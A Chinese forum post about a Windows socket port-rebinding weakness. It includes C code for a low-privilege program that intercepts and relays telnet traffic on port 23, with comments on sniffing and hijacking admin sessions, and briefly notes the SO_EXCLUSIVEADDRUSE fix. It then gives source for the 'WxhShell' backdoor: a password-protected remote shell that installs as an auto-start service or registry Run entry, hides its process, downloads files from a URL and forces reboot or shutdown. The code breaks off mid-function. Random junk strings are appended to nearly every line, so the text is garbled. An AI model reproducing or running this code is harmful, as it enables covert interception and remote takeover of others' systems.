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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: .l1x~(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8R MM97@1Q  
pU7;!u:c4%  
  saddr.sin_family = AF_INET; gNB+e5[; 2  
%R0 Wq4}  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); * ,a F-  
{rc3`<%  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); *D? =Ts  
2{79,Js0  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 uy {O   
46>rvy.r  
  这意味着什么?意味着可以进行如下的攻击: A8'RM F1  
^Arv6kD,  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `MI\/oM@  
ET}Z>vU}+  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 1K Fd ~U  
LYD iqOrx  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4 Ej->T.  
TKB8%/_p  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  n _K1%  
1 /M^7Vb.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Tb i?AJa}  
YV.' L  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *yhA8fJ  
1>Sfv|ZP,  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 )'+[,z ;s  
_ $F=A  
  #include xX<f4H\'  
  #include ^~~Rto)Y  
  #include KuJ)alD;1  
  #include    eFiG:LS7  
  DWORD WINAPI ClientThread(LPVOID lpParam);   50_[hC&C)  
  int main() 6Z_V,LD9L  
  { 2I B{FO/  
  WORD wVersionRequested; ;J W ]b]  
  DWORD ret; |vs5N2_  
  WSADATA wsaData; vb>F)X?b_  
  BOOL val; Ae>+Fcv  
  SOCKADDR_IN saddr; poQ_r <I  
  SOCKADDR_IN scaddr; ^#R`Uptib  
  int err; +f/ I>9G  
  SOCKET s; b}qfOgd5  
  SOCKET sc; ~J].~^[  
  int caddsize; #*iUZo  
  HANDLE mt; ~0PzRS^o  
  DWORD tid;   >$m<R &  
  wVersionRequested = MAKEWORD( 2, 2 ); vMz|'-rm$  
  err = WSAStartup( wVersionRequested, &wsaData ); ZXnacc~s  
  if ( err != 0 ) { u "0{) ,  
  printf("error!WSAStartup failed!\n"); al[^pPKZ  
  return -1; i@rtt M  
  } [icD*N<Gc  
  saddr.sin_family = AF_INET; x#0?$}f<  
   Qder8I  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 mx9vjW fy  
s@Q7F{z  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); p"0#G&-  
  saddr.sin_port = htons(23); }b2YX+/e$f  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) v2x+_K}J  
  { }b1G21Dc!  
  printf("error!socket failed!\n"); !>9s  
  return -1; H'WYnhU&  
  } (_pw\zk>  
  val = TRUE; l#[Z$+!09  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 (HRj0,/^  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) yY#h 1  
  { EXSJ@k6=8s  
  printf("error!setsockopt failed!\n"); 6{)pF  
  return -1; _^_3>}y5op  
  } :ts3_-cr  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; O\<zQ2m  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 T,!EL +o4  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 %"{P?V<-V  
mqZK1<r  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9QU\J0c/  
  { : #a  
  ret=GetLastError(); -E}X`?WhD  
  printf("error!bind failed!\n");  /b=C  
  return -1; mu\1hKq;B  
  } f-M:ap(O  
  listen(s,2); Zn9u&!T&  
  while(1) gKb,Vrt  
  { h7Uj "qH  
  caddsize = sizeof(scaddr); ?s2-iuMPd  
  //接受连接请求 T<*)Cdid  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 94B%_  
  if(sc!=INVALID_SOCKET) i:YX_+n  
  { 5t%8y!s  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Fip 5vrD  
  if(mt==NULL) ^SpQtW118  
  { 1m5l((d  
  printf("Thread Creat Failed!\n"); Ey7zb#/<!  
  break; WWp MuB_G  
  } %_|KiW  
  } qt L]x -O  
  CloseHandle(mt); y[b 8rv  
  } Q"I(3 tp9[  
  closesocket(s); n3p@duC4  
  WSACleanup(); )%^l+w+&  
  return 0; ~ky;[  
  }   KJ+6Y9b1  
  DWORD WINAPI ClientThread(LPVOID lpParam) 0`E G-Hw  
  { 6Amt75RY  
  SOCKET ss = (SOCKET)lpParam; mh8fJ6j29N  
  SOCKET sc; u[**,.Ecg  
  unsigned char buf[4096]; D?dBm  
  SOCKADDR_IN saddr; !H\;X`W|~D  
  long num; # `^nmC/F  
  DWORD val; 1@Jp3wW  
  DWORD ret; :E-$:\V0}k  
  //如果是隐藏端口应用的话,可以在此处加一些判断 H4ie$/[$8  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   d92Z;FWb  
  saddr.sin_family = AF_INET; eKOEOm+  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); uF<34  
  saddr.sin_port = htons(23); O7 ;=g!j  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) l 73% y  
  { H~yHSm 3  
  printf("error!socket failed!\n"); ?pZ"7kkD  
  return -1; qy'-'UlIr  
  } K9zr]7;th  
  val = 100; tMw65Xei6b  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) U5C]zswL  
  { JtO}i{A  
  ret = GetLastError(); },d^y:m  
  return -1; bD{tsxm[9  
  } q0 }u%Yz  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =@d#@  
  { CcUF)$kz  
  ret = GetLastError(); ;i[JCNiS\  
  return -1; 2-@)'6"n  
  } Z5xQ -T`  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) DinZ Z  
  { ZbC$Fk,,I&  
  printf("error!socket connect failed!\n"); lG-B) F  
  closesocket(sc); <}lah%4F  
  closesocket(ss); HrE,K\^  
  return -1; )n)AmNpq   
  } X{x(p  
  while(1) Gy \ ]j  
  { }<~(9_+  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 <%YW/k"o  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 `<g]p-=":  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 PPl o0R  
  num = recv(ss,buf,4096,0); T'}kCnp  
  if(num>0) |fKT@2(  
  send(sc,buf,num,0); ^ ##j {h7  
  else if(num==0) a]*{!V{$i  
  break; x_~_/&X5  
  num = recv(sc,buf,4096,0); WOn<JCh]  
  if(num>0) curYD~7  
  send(ss,buf,num,0); x'0_lf</ #  
  else if(num==0) '!A}.wF0  
  break; {F wvuk  
  } 'ge$}L}4  
  closesocket(ss); 9 C)VW  
  closesocket(sc); O1~7#nJ*4[  
  return 0 ; |@_<^cV110  
  } ng/h6 S  
Ub\^3f  
w<H2#d>5!@  
========================================================== w=]A;GgA  
y7/4u-_c  
下边附上一个代码,,WXhSHELL JOG- i  
[;{xiW4V]  
========================================================== I=dn]}b#P  
{d<XDx4`  
#include "stdafx.h" qR aPh:Q'  
VHPqEaR  
#include <stdio.h> eGT&&Y  
#include <string.h> kBqgz| jE%  
#include <windows.h> Ye]K 74M.  
#include <winsock2.h> lD0a<L 3  
#include <winsvc.h> !D F~]&  
#include <urlmon.h> 6fw7\u  
{X<g93  
#pragma comment (lib, "Ws2_32.lib") j5DCc,s  
#pragma comment (lib, "urlmon.lib") C7F\Y1Wj  
OCu_v%G 0  
#define MAX_USER   100 // 最大客户端连接数 gbYM1guiD  
#define BUF_SOCK   200 // sock buffer `^#4okg]  
#define KEY_BUFF   255 // 输入 buffer E{[Y8U1n  
&Z>??|f  
#define REBOOT     0   // 重启 %Mj,\J!  
#define SHUTDOWN   1   // 关机 aAe`o2Xs  
<.Zh{"$qo  
#define DEF_PORT   5000 // 监听端口 OK v2..8  
J-/w{T8:  
#define REG_LEN     16   // 注册表键长度 9{4oz<U  
#define SVC_LEN     80   // NT服务名长度 8x- 19#  
/fUdb=!Z  
// 从dll定义API 4L:O0Ggz}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); c$,1j%[)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p@O Ip  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  omg#[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4 .c1  
QOK,-  
// wxhshell配置信息 )C"ixZ>2xQ  
struct WSCFG { $1B?@~&  
  int ws_port;         // 监听端口 0R? @JC  
  char ws_passstr[REG_LEN]; // 口令 h!uyTgq  
  int ws_autoins;       // 安装标记, 1=yes 0=no EUs9BJFP  
  char ws_regname[REG_LEN]; // 注册表键名 :l"B NT[/  
  char ws_svcname[REG_LEN]; // 服务名 KDb j C'3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "Y^j=?1k  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Zoxblk  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 eCR^$z=c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no . q -: 3b  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3 1c*^ZE.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U2?R&c;b  
eYP^.U)  
}; 3O; H&  
"f 89   
// default Wxhshell configuration 2]?=\_T  
struct WSCFG wscfg={DEF_PORT, LZ_0=Xx%  
    "xuhuanlingzhe", )#z{P[X^  
    1, ;_SSR8uHv  
    "Wxhshell", \"$P :Uv  
    "Wxhshell", "p3<-06  
            "WxhShell Service", %y9sC1T  
    "Wrsky Windows CmdShell Service", L7{}`O/g7  
    "Please Input Your Password: ", 6)0.q|Q  
  1, ;v\s7y  
  "http://www.wrsky.com/wxhshell.exe", w>cqsTq  
  "Wxhshell.exe" Wcc4/:`Hu  
    }; SF-E>s!XL  
D'u7"^=  
// 消息定义模块 x#3*C|A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u; KM[FmK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; LDEc}XXb  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~b*]jZwT  
char *msg_ws_ext="\n\rExit."; UFT JobU  
char *msg_ws_end="\n\rQuit."; p~3 x=X4  
char *msg_ws_boot="\n\rReboot..."; 0ZwXuq  
char *msg_ws_poff="\n\rShutdown..."; *<S>PbqLw  
char *msg_ws_down="\n\rSave to "; , @UOj=  
nK03xYA  
char *msg_ws_err="\n\rErr!"; smfI+Z S"  
char *msg_ws_ok="\n\rOK!"; D|Q7dIZm  
8#JX#<HEo  
char ExeFile[MAX_PATH]; TW>GYGz  
int nUser = 0; UH6 7<_mK  
HANDLE handles[MAX_USER]; 9vyf9QE;  
int OsIsNt; y>w;'QR&a  
&~+QPnI>Pm  
SERVICE_STATUS       serviceStatus; Z@dVK`nD  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \8$~ i  
;PC!  
// 函数声明 b4dviYI  
int Install(void); 2#:p:R8I>  
int Uninstall(void); U!-Nx9  
int DownloadFile(char *sURL, SOCKET wsh); +@^);b6  
int Boot(int flag); l 3p :}A  
void HideProc(void); ~Z/,o)  
int GetOsVer(void); NW5OLa")J<  
int Wxhshell(SOCKET wsl); mj$Ucql  
void TalkWithClient(void *cs); 6 /YJA*  
int CmdShell(SOCKET sock); 1|4,jm$  
int StartFromService(void); 3%5YUG@  
int StartWxhshell(LPSTR lpCmdLine); R+NiIoa  
Ws|`E `6O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P #! N  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); DFWO5Y_  
h_#=f(.'j  
// 数据结构和表定义 b9X*2pnWJ  
SERVICE_TABLE_ENTRY DispatchTable[] = aR6F%7gvz  
{ uU3A,-{-  
{wscfg.ws_svcname, NTServiceMain}, ,.0bE 9\o  
{NULL, NULL} 7Q&-ObW  
}; h-1?c\Qq:  
=3(Auchl$Y  
// 自我安装 ou-UR5  
int Install(void) \\\8{jq  
{ s.bo;lk  
  char svExeFile[MAX_PATH]; ?110} [jw  
  HKEY key; \Aro Sy9  
  strcpy(svExeFile,ExeFile); y(QFf*J  
2%fIe   
// 如果是win9x系统,修改注册表设为自启动 :Q"|%#P  
if(!OsIsNt) { M{5AQzvs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RV  V`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i:aW .QZ.  
  RegCloseKey(key); :sg}e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gm)Uyr$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _xv3UzD  
  RegCloseKey(key); ecs 0iW-,  
  return 0; ISNL='%  
    } V2}\]x'1  
  } VSY  p  
} h*l$!nEN  
else { =XR6rR8  
\wA:58 -j  
// 如果是NT以上系统,安装为系统服务 0pMN@Cz6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); '+_>PBOc  
if (schSCManager!=0) cw!,.o%cD  
{ =J]WVA,GqA  
  SC_HANDLE schService = CreateService %a~/q0o>  
  ( 5_'lu  
  schSCManager, &;-zy%#l  
  wscfg.ws_svcname, d)vP9vXy  
  wscfg.ws_svcdisp, oV:oc,  
  SERVICE_ALL_ACCESS, D;C';O  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *z VN6wG{  
  SERVICE_AUTO_START, Ll|_Wd.K,  
  SERVICE_ERROR_NORMAL, `?Q p>t  
  svExeFile, (|^m9v0:  
  NULL, QKj0~ia 5  
  NULL, HGGq;Nbm  
  NULL, `RnWh9  
  NULL, '3672wF/  
  NULL Ldjz-  
  ); #3qeRl  
  if (schService!=0) nFn!6,>E  
  { \_1a#|97e  
  CloseServiceHandle(schService); WSHPh hM  
  CloseServiceHandle(schSCManager); nf /*n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p?Azn>qBa  
  strcat(svExeFile,wscfg.ws_svcname); lNL=Yu2p_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { EB*sd S  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2; ^ME\  
  RegCloseKey(key); 2HFn\kjj.s  
  return 0; 1'<C-[1  
    } Bx#i?=*W  
  } .}!.4J%q2  
  CloseServiceHandle(schSCManager); 7_i8'(``  
} Kb?{^\FiU  
} mF*x&^ie  
~+dps i  
return 1; GjhTF|  
} \2s`mCY  
[Iks8ZWr_  
// 自我卸载 "O jAhKfG  
int Uninstall(void) *XTd9E^tXq  
{ Q>%n&;:  
  HKEY key; <:&vAX L  
2cYBm^o|x  
if(!OsIsNt) { |GnTRahV.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uatUo  
  RegDeleteValue(key,wscfg.ws_regname); yc](  
  RegCloseKey(key); yQ2=d5'V`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &j 4pC$Dj  
  RegDeleteValue(key,wscfg.ws_regname); iT-coI  
  RegCloseKey(key); *V6| FU  
  return 0; o&q>[c  
  } E]`7_dG+T  
} uNzc,OH  
} p:4jY|q  
else { gN=.}$Kfu  
G>V6{g2Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5Kg'&B (  
if (schSCManager!=0) @oAz  
{ "@UQSf,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); vamZKm~p  
  if (schService!=0) ~gfR1SE  
  { D`LBv,n  
  if(DeleteService(schService)!=0) { B3#G  
  CloseServiceHandle(schService); xR1G  
  CloseServiceHandle(schSCManager); 4KH492Nq9  
  return 0; W" 5nS =d%  
  } )Z/"P\qo  
  CloseServiceHandle(schService); $,4h\>1WP  
  } o:@Q1+p  
  CloseServiceHandle(schSCManager); (9'^T.J  
} I/f\m}}ba  
} V"4Z9Qg}  
Op'a=4x]  
return 1; H -kX-7C  
} $`F9e5}G  
Y 2 @8B6  
// 从指定url下载文件 Pv'Q3O2<I  
int DownloadFile(char *sURL, SOCKET wsh) ,'X"(tpu@  
{ L^+rsxR  
  HRESULT hr; VPUVPq~&  
char seps[]= "/"; "}]$ag!`q$  
char *token; q\Y4vWg  
char *file; C%XO|sP  
char myURL[MAX_PATH]; /v R>.'  
char myFILE[MAX_PATH]; ZL!u$)(V  
c$g@3gL  
strcpy(myURL,sURL); n<ZPWlJ  
  token=strtok(myURL,seps); ,>  zEG  
  while(token!=NULL) ||Zup\QB  
  { 9@ tp#  
    file=token; V%s g+D2  
  token=strtok(NULL,seps); ywa*?3?c  
  } WTvUz.Et  
ot^pxun  
GetCurrentDirectory(MAX_PATH,myFILE); @5%&wC  
strcat(myFILE, "\\"); {OU|'  
strcat(myFILE, file); x e`^)2z  
  send(wsh,myFILE,strlen(myFILE),0); vi,hWz8WB  
send(wsh,"...",3,0); Y?0/f[Ax,y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $coO~qvU  
  if(hr==S_OK) _wq?Pa<)e  
return 0; -JMn?]  
else -pu5O 9 @  
return 1; "z~ba>,-\  
ux;?WPyr  
} [xMa^A>p  
g*Y, .  
// 系统电源模块 y?$DDD  
int Boot(int flag) '0+*  
{ 0t <nH%N}^  
  HANDLE hToken; Wq1>Bj$J8  
  TOKEN_PRIVILEGES tkp; `3+i.wR  
g68p9#G  
  if(OsIsNt) { )[Y B&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mayJwBfU  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); c3vb~l)  
    tkp.PrivilegeCount = 1; #oUNF0L@6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; VeoG[Jl  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zCx4DN`  
if(flag==REBOOT) { 4<efj  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) l:85 _E  
  return 0; (j: ptQ2$  
} V>{< pS  
else { t[^$F,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~3&{`9Y  
  return 0; %ByPwu:f  
} ~4~`bT9  
  } yYG<tUG;  
  else { Jup)m/  
if(flag==REBOOT) { .Mt3e c<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) TktH28tK  
  return 0; R@vcS=m7  
} E[H  
else { FKa";f"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X\|!  
  return 0; Tg\bpLk0=  
} ,^(]zZh  
} @AsJnf$y  
jwZ,_CK  
return 1; 0I&k_7_   
} OmYVJt_  
V2MOD{Maat  
// win9x进程隐藏模块 )- C3z   
void HideProc(void) "W|A^@r}  
{ wVf~FssN  
rwm^{Qa  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); IPiV_c-l  
  if ( hKernel != NULL ) sibYJKOy  
  { ]-fkmnmWX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %,$n^{v  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?^}30V:E  
    FreeLibrary(hKernel); JAPr[O&  
  } _VtQMg|u  
{zdMmpQF  
return; c'2d+*[  
} u;#]eUk9}  
!rvEo =^  
// 获取操作系统版本 ~wc :/UM|  
int GetOsVer(void) uV/5f#)  
{ V~J5x >O  
  OSVERSIONINFO winfo; qQ&uU7,#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Cs'LrUB?=U  
  GetVersionEx(&winfo);  N;7/C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `8:0x?X  
  return 1; nwRltK  
  else pSZ2>^";  
  return 0; 6cQgp]%  
}  4M'>oa  
op,L3:R\Z  
// 客户端句柄模块 +6m.f,14q  
int Wxhshell(SOCKET wsl) o4(*nz  
{ N.F5)04  
  SOCKET wsh; JKfG/z|  
  struct sockaddr_in client; F L0uY0K  
  DWORD myID; %u -x9  
QrZ#<{,J5  
  while(nUser<MAX_USER) eL!41_QI  
{ sV^:u^  
  int nSize=sizeof(client); ']]d-~:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r~w.J+W  
  if(wsh==INVALID_SOCKET) return 1; 39pG-otJ  
L * n K> +  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  >@ t  
if(handles[nUser]==0) P&-o>mM  
  closesocket(wsh); <Au2e  
else U, 6iT  
  nUser++; +n3I\7G>  
  } !xM5 A[f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KWTV!Wxb=K  
5=dL`  
  return 0; B@,9Cx564  
} {|;a?] ?  
K|& f5w  
// 关闭 socket zmMc*|  
void CloseIt(SOCKET wsh) /r}L_wI  
{ wBPo{  
closesocket(wsh); ITu19WG  
nUser--; YFKE>+  
ExitThread(0); 9 _d2u#  
} }x8!{Y#cF  
1+o]+Jz|  
// 客户端请求句柄 3>,}N9P-v  
void TalkWithClient(void *cs) !<bwg  
{ !_S>ER  
_KT!OYH  
  SOCKET wsh=(SOCKET)cs; boh?Xt-$  
  char pwd[SVC_LEN]; a"8[,A3  
  char cmd[KEY_BUFF]; s6H'}[E<  
char chr[1]; }`"`VLh  
int i,j; 1^ iBS  
8H F^^Cva  
  while (nUser < MAX_USER) { xU *:a[g  
L'e_?`!:  
if(wscfg.ws_passstr) { 8fR(y~_gF  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K*6"c.D  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); So:X!ljN(e  
  //ZeroMemory(pwd,KEY_BUFF); 0lw>mxN  
      i=0; X/!_>@`7?  
  while(i<SVC_LEN) { xad`-vw  
yPyu)  
  // 设置超时 Onmmcem  
  fd_set FdRead; Bd>~F7VWs  
  struct timeval TimeOut; @Mk`Tl  
  FD_ZERO(&FdRead); >r.]a`  
  FD_SET(wsh,&FdRead); YJi%vQ*]  
  TimeOut.tv_sec=8; \P\Z<z7jy  
  TimeOut.tv_usec=0; L`NIYH<^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); BD g]M/{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #-hO\ QdC  
_z5/&tm_H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w~'xZ?  
  pwd=chr[0]; 9I/b$$?D  
  if(chr[0]==0xd || chr[0]==0xa) { :yay:3qv  
  pwd=0; UD I{4+z  
  break; }r}*=;Ea  
  } jX53 owZ  
  i++; qA*~B'  
    } M  .#}  
W{p}N  
  // 如果是非法用户,关闭 socket 7Z-j'pq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _1" ecaA  
} |diI(2w  
Uj@th  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p|UL<M9{a]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XxqGsGx4  
"W<Y1$Y=Y  
while(1) { Lp`.fn8Ln  
Z9{~t  
  ZeroMemory(cmd,KEY_BUFF); 3G} )$y3m  
Z:4/lx7Bq  
      // 自动支持客户端 telnet标准   _k84#E0  
  j=0; O&%'j  
  while(j<KEY_BUFF) { +ikSa8)*i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g` rr3jP  
  cmd[j]=chr[0]; =]5tYIU  
  if(chr[0]==0xa || chr[0]==0xd) {  T:}Q3  
  cmd[j]=0; Y$'j9bUJ  
  break; CEy\1D  
  } f@*69a8  
  j++; g?j)p y  
    } m*0YMS>Y |  
7vRtTP  
  // 下载文件 bzN[*X|  
  if(strstr(cmd,"http://")) { 5#Er& 6s  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }~FX!F#oU  
  if(DownloadFile(cmd,wsh)) ^'UM@dd?!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); N['DqS =  
  else 43=v2P0=Tj  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !pU$'1D  
  } fI.|QD*$b  
  else { qpQ;,8X-"  
iOL$|Z(  
    switch(cmd[0]) { l{By]S  
  ?d')#WnC  
  // 帮助 2D\ pt  
  case '?': { LIg1U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <o EAy  
    break; FW]tDGJOw  
  } yi7.9/;a  
  // 安装 q'D Ts9Bj  
  case 'i': { #~0Nk6*u  
    if(Install()) J}|X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \C~X_/sg  
    else CS^6$VL7e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OVK )]- ~  
    break; 9>RkFV  
    } $b8[/],  
  // 卸载 emSq{A  
  case 'r': { fk*(8@u>  
    if(Uninstall()) -L2.cN_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E'iE#He  
    else $5nMD=   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "t|)Kl  
    break; dX(JV' 18A  
    } +p u[JHF  
  // 显示 wxhshell 所在路径 {3Inj8a=?A  
  case 'p': { 1U\ap{z@  
    char svExeFile[MAX_PATH]; ]#0 (  
    strcpy(svExeFile,"\n\r"); +eVYy_bL-  
      strcat(svExeFile,ExeFile); 1tuvJ+`{  
        send(wsh,svExeFile,strlen(svExeFile),0); 2mLZ4 r>WE  
    break; @K;b7@4y  
    } `}X3f#eO&  
  // 重启 5F kdGF  
  case 'b': { F5)`FM^R  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x&B&lFmo 8  
    if(Boot(REBOOT)) ~IhAO}1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9a`Lr B  
    else { RhWQ:l]  
    closesocket(wsh); Y RZ\nun  
    ExitThread(0); GDu^P+^  
    } }[0nTd  
    break; N0 {e7M  
    } *'@O o  
  // 关机 LV}R 9f  
  case 'd': { OGZD$j  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |q`NJ  
    if(Boot(SHUTDOWN)) >$ q   
